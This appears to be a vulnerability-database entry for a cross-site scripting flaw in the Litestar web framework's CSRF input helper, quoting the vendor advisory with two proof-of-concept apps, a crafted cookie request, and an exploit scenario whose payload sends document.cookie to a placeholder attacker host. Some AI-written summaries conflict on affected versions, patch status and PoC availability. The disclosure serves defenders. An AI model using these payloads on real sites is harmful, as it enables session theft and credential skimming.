Skip to main content

Litestar CVE-2026-48060

| EUVDEUVD-2026-49994 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-06-10 https://github.com/litestar-org/litestar GHSA-542p-wvx7-72m4 PYSEC-2026-2604
8.1
CVSS 3.1 · Vendor: https://github.com/litestar-org/litestar
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Host attacker page on sibling domain
  2. Delivery
    Set malicious csrftoken cookie via Set-Cookie
  3. Exploit
    Redirect victim to vulnerable Litestar form page
  4. Install
    Browser sends poisoned cookie
  5. C2
    Template renders csrf_input unescaped
  6. Execute
    Injected script executes in victim origin
  7. Impact
    Exfiltrate session or skim credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target application must (1) be running Litestar < 2.22.0, (2) use a server-side template engine such as Jinja, Mako, or MiniJinja, (3) have CSRFConfig-based CSRF middleware enabled, and (4) render the documented {{ csrf_input | safe }} helper into a template returned to users. Exploitation additionally requires that the attacker can cause the victim's browser to send a chosen csrftoken cookie value to the vulnerable origin - practically achieved by controlling any host on the same registrable domain (or any context permitted to write that cookie) - and requires user interaction (UI:R) in the form of the victim loading the vulnerable templated page after the cookie is poisoned. Applications that do not use templates, do not enable CSRF protection, or render the CSRF token through normal autoescaped variables instead of the | safe helper are not vulnerable.

Impact

The CVSS 3.1 base score of 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) reflects network reachability, low complexity, no authentication, but required user interaction - consistent with the PoC2 attack chain that needs the victim to visit an attacker-controlled page on the same registrable domain before being redirected to the vulnerable app. There is no EPSS, KEV, or SSVC data provided, so prioritization must rest on CVSS plus the publicly available exploit code in the GHSA advisory. Real-world risk is materially constrained by the non-default trigger conditions (template engine + CSRF middleware + csrf_input helper), the same-site cookie-setting prerequisite for cross-origin delivery, and the requirement for user interaction; this is a credible priority fix for any Litestar application matching the vulnerable configuration but is unlikely to drive mass exploitation. No conflicting signals were observed between CVSS vector and description.

Exploit ScenarioDerived

An attacker hosts a page on any subdomain of the target's registrable domain (or otherwise gets a Set-Cookie for csrftoken accepted by the victim's browser) that sets csrftoken to '"><script>fetch("https://attacker/?c="+document.cookie)</script>' and then redirects the victim to the vulnerable Litestar application's form page. The victim's browser sends the poisoned cookie, Litestar inlines it unescaped into the hidden CSRF input via {{ csrf_input | safe }}, and the attacker's JavaScript executes in the origin of the vulnerable app, enabling session theft, fake login form injection, or credential skimming as demonstrated by the published PoC2.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Cross-Site Scripting in Litestar Python web framework versions prior to 2.22.0 allows remote attackers to execute arbitrary JavaScript in victim browsers by poisoning the csrftoken cookie, whose contents are rendered into HTML templates without escaping when the documented csrf_input helper is used. Publicly available exploit code exists via the GitHub Security Advisory GHSA-542p-wvx7-72m4, which includes two working proof-of-concept applications. The flaw only manifests in applications that combine a template engine (Jinja, Mako, MiniJinja) with CSRF protection and the recommended hidden CSRF input field pattern.

RemediationAI

Vendor-released patch: upgrade Litestar to 2.22.0 or later via pip (pip install --upgrade 'litestar>=2.22.0'), as published in GHSA-542p-wvx7-72m4 and the 2.22.0 changelog at https://docs.litestar.dev/2/release-notes/changelog.html#2.22.0. If an immediate upgrade is not possible, a workaround is to stop using the {{ csrf_input | safe }} helper and instead render the CSRF token by reading it from request state and emitting it through the template engine's normal autoescape (for example <input type="hidden" name="csrftoken" value="{{ csrf_token }}">), which neutralizes the injection at the cost of losing the convenience helper and requiring template changes; alternatively, disabling the CSRF input rendering entirely and relying on header-based CSRF tokens removes the sink but breaks form-based CSRF flows. Setting the csrftoken cookie as HttpOnly does not mitigate this issue because the server itself reads the cookie value and writes it into the response body.

Affected VersionsENISA

litestar < 2.20.0

Affected Packages

pypi litestar fix: 2.20.0, 2.22.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Litestar is an ASGI Python web framework (pkg:pip/litestar) that ships a CSRF middleware and a csrf_input template helper documented for inclusion in forms as {{ csrf_input | safe }}. The | safe filter explicitly disables Jinja's autoescape for that variable, and Litestar builds the input element by concatenating the cookie value directly into raw HTML. Because the csrftoken cookie is attacker-controllable from the browser side, an attacker who can set or overwrite that cookie can break out of the value attribute and inject arbitrary markup. This is a classic CWE-79 reflected/stored XSS where the trust boundary failure is treating a client-supplied cookie as already-sanitized markup rather than untrusted input.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/litestar-org/litestar) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/litestar-org/litestar) · only source for this CVE.

CVSS VectorVendor: https://github.com/litestar-org/litestar

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Overview

Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.

We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.

Special Configurations Required

For a web application to be vulnerable to this issue, it must:

  • Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)
  • Have CSRF protection enabled
  • Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)

Links to relevant documentation for the above configurations:

  • https://docs.litestar.dev/2/usage/templating.html
  • https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
  • https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

Reproduction Steps

  1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden input field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.
  2. Observe that the server sets the csrftoken cookie when the page loads.

<img width="1152" height="372" alt="litestar_csrf_cookie_in_browser_dev_tools" src="https://github.com/user-attachments/assets/252a5746-0f5f-4c78-9b9c-3ff4fb98e942" />

  1. Set the value of the csrftoken cookie to "><h1>HTML Injection Test</h1>.

<img width="1142" height="426" alt="litestar_csrf_cookie_poisoned_with_html" src="https://github.com/user-attachments/assets/131e5015-e718-4539-8d03-969e81a34fdc" />

  1. Refresh the page.
  2. Observe that the contents of the cookie is rendered on the page.

<img width="1152" height="480" alt="litestar_successful_html_injection" src="https://github.com/user-attachments/assets/c997f679-7111-4620-a28d-25eabea34ca2" />

Exploit Code

There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious csrftoken cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user.

The proof-of-concept applications can be started using these commands:

bash
# run poc1
python -m uvicorn poc1:app
# run poc2
python -m uvicorn poc2:app

PoC 1 - Minimum Vulnerable Application

This proof-of-concept demonstrates that a crafted csrftoken cookie will be rendered on the vulnerable page as HTML.

poc1.py

python
from litestar import Litestar, get, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

@get("/")
async def hello_world() -> Template:
    return Template(
        template_name="test.jinja",
        media_type=MediaType.HTML,
    )

ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[hello_world],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

test.jinja

html
<html>
    <body>
        <div>
            <form method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

Sending the following request to the vulnerable page will result in the HTML included in the csrftoken cookie being injected and rendered on the page.

http
GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>

<img width="577" height="328" alt="litestar_html_injection_poc_result" src="https://github.com/user-attachments/assets/69590b08-1066-487d-ac37-62f64333de5a" />

PoC 2 - Simulated Attack Delivery

This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided.

First, the user must visit a malicious application (the /first_site endpoint in poc2.py) which sets the csrftoken cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page.

Next, the malicious app *redirects* the user to the vulnerable app (the /second_site endpoint in poc2.py). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser

poc2.py

python
from litestar import Litestar, get, post, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
from litestar.datastructures import Cookie
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

cookie_payload = '"><script>alert(document.domain)</script>'
# malicious site which poisons the csrf cookie
@get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)])
async def first_site() -> Template:
    return Template(
        template_name="page1.jinja",
        media_type=MediaType.HTML,
    )
# vulnerable site
@get("/second_site")
async def second_site() -> Template:
    return Template(
        template_name="page2.jinja",
        media_type=MediaType.HTML,
    )
# example function for form submission if csrf verification succeeds
@post("/form_receive")
async def handle_form() -> dict[str, str]:
    return {
        "message": "form data received successfully"
    }


ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[first_site, second_site, handle_form],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

page1.jinja

html
<html>
    <body>
        <h1>Setting cookie...</h1>
        <script>
            setTimeout(() => {
                window.location.href="/second_site"
            }, 2000);
        </script>
    </body>
</html>

page2.jinja

html
<html>
    <body>
        <div>
            <form action="/form_receive" method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

<img width="887" height="223" alt="litestar_poc_first_page_setting_cookie" src="https://github.com/user-attachments/assets/4e8f70e4-fb44-47f6-8e15-42b512cc224f" />

<img width="885" height="366" alt="litestar_poc_second_page_xss" src="https://github.com/user-attachments/assets/a8d57c66-0424-483c-ac92-4694d4e08500" />

Impact

This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes script tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser.

Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form.

Resources

  • https://cwe.mitre.org/data/definitions/79.html
  • https://docs.litestar.dev/2/usage/templating.html
  • https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
  • https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

Executive ViewAI

Why It Matters

Litestar web framework versions prior to 2.22.0 contain a cross-site scripting vulnerability allowing remote attackers to execute arbitrary JavaScript in users' browsers through CSRF token cookie poisoning. Publicly available exploit code exists. Organizations using Litestar with Jinja, Mako, or MiniJinja template engines and CSRF protection face risks of account compromise, session hijacking, and malware distribution affecting all end-users.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Remove csrf_input helper from all templates and use alternative CSRF token delivery mechanisms, (2) Enforce output encoding on all template variables using framework-provided escaping functions, (3) Deploy Content Security Policy headers restricting inline script execution, (4) Configure Web Application Firewall to detect malformed CSRF token patterns in cookies, (5) Implement continuous logging and alerting on suspicious CSRF token values in application access logs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy